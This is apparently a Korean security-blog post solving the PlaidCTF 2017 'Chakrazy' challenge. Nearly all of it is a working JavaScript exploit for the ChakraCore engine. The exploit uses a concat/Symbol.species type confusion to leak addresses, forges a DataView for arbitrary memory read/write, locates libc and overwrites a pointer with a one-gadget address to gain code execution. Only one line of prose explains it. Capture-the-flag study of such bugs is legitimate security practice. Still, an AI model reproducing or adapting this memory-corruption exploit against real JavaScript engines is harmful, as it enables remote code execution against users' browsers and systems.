Pwnable/CTF
PCTF 2017 Chakrazy
HSr00t
2018. 12. 25. 00:14
FakeDataview 만들어서 익스하면된다.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
function set_dv(arr,lo,hi) {
arr[0] = 56
arr[4] = (lo - 574280) //+0x3c000
arr[5] = hi
arr[10] = lo
arr[11] = hi
arr[12] = lo //ArrayBuffer
arr[13] = hi
arr[14] = lo //buffer
arr[15] = hi
}
function leak(addr) {
var a = [1,2,3,4];
var b = [5,6,7,8];
var c = new Function();
c[Symbol.species] = function() {
p = [9,10,11,12];
return p;
};
a.constructor = c;
b.__defineGetter__(Symbol.isConcatSpreadable,function() {
p[0] = addr;
b[0] = addr;
return true;
});
return a.concat(b);
}
function leak2(addr) {
var a = [1,2,3,4];
var b = [5,6,7,8];
var c = new Function();
c[Symbol.species] = function() {
p = [9,10,11,12];
return p;
};
a.constructor = c;
b.__defineGetter__(Symbol.isConcatSpreadable,function() {
p[0] = addr;
b[0] = addr;
return true;
});
return a.concat(b);
}
var result = new Uint32Array(2);
var ab_one = new ArrayBuffer(8);
var dv_one = new DataView(ab_one);
var ab_temp = leak2(ab_one);
result[0] = ab_temp[0];
result[1] = ab_temp[1];
te = '0x'+(result[1].toString(16)) + (result[0]).toString(16)
console.log(te);
var dv = [0];
for(var i=0;i<16;i++)
dv[i] = 0x0;
var dv_temp = leak(dv);
dv_temp[0] = dv_temp[0] - 0x84548+0x30; //- 0x90518
result[0] = dv_temp[0];
result[1] = dv_temp[1];
var te = '0x'+(result[1].toString(16)) + (result[0]).toString(16)
console.log(te);
dv[0] = 0;
dv[2] = dv_temp[0]+0x10;
dv[3] = dv_temp[1];
dv[4] = 0x38;
dv[6] = dv_temp[0];
dv[7] = dv_temp[1];
dv[8] = 0x30;
dv[10] = ab_temp[0];
dv[11] = ab_temp[1];
dv[14] = (dv_temp[0]+0x84548-0x30);
dv[15] = dv_temp[1];
var a_attack = [];
for(var i=0;i<0x10;i++)
a_attack[i] = i;
var b = [dv_temp[0],dv_temp[1]];
var c = new Function();
c[Symbol.species] = function() {
p = [9,10,11,12];
return p;
};
a_attack.constructor = c;
b.__defineGetter__(Symbol.isConcatSpreadable,function() {
p[0] = {};
return true;
});
var temp = (a_attack.concat(b))[8];
var clib = [0,0];
clib[0] = dv_one.getUint32.call(temp,0,true) - 0xd5db40;
clib[1] = dv_one.getUint32.call(temp,4,true);
//libc = clib[0] + 0x1628000
var te = '0x'+(clib[1].toString(16)) + (clib[0]).toString(16)
console.log(te);
dv_one.setUint32.call(temp,16,clib[0]+0x1628000+0xf1147,true);
dv_one.setUint32.call(temp,20,clib[1],true);
dv_one.setUint32.call(temp,0,dv_temp[0]+0x84548-0x30+16-0xa0,true);
dv.hasOwnProperty('AAAA');
|
cs |